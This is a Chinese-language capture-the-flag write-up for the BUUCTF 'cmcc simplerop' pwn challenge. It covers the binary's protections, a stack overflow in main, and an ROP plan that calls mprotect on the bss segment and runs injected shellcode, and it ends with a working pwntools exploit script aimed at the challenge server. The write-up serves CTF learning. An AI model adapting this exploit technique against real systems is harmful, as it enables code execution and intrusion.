cmcc simplerop

# cmcc simplerop

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/cmcc_simplerop/simplerop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

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# 静态分析

主函数如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h]

  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

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# 链接方式

file simplerop
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped

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静态链接

# 思路分析

目前信息：
- main函数存在任意长度的溢出点
- 静态链接文件
- No canary found
- NX enabled
- No PIE
思路：
- 溢出劫持执行流到mprotect修改bss段的权限，将shellcode写入bss段处，返回并执行获得shell

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/cmcc_simplerop/simplerop'
io = remote("node4.buuoj.cn", 29263)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x1c+4
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
bss_start = elf.bss() & 0xfffff000  # 页对齐
bss_size = 0x1000
rwx = 7
pop_3times_ret = 0x0806e828
payload = flat(['a'*padding, mprotect_addr, pop_3times_ret, bss_start,bss_size, rwx, read_addr, bss_start, 0, bss_start, bss_size])
io.recvuntil('Your input :')
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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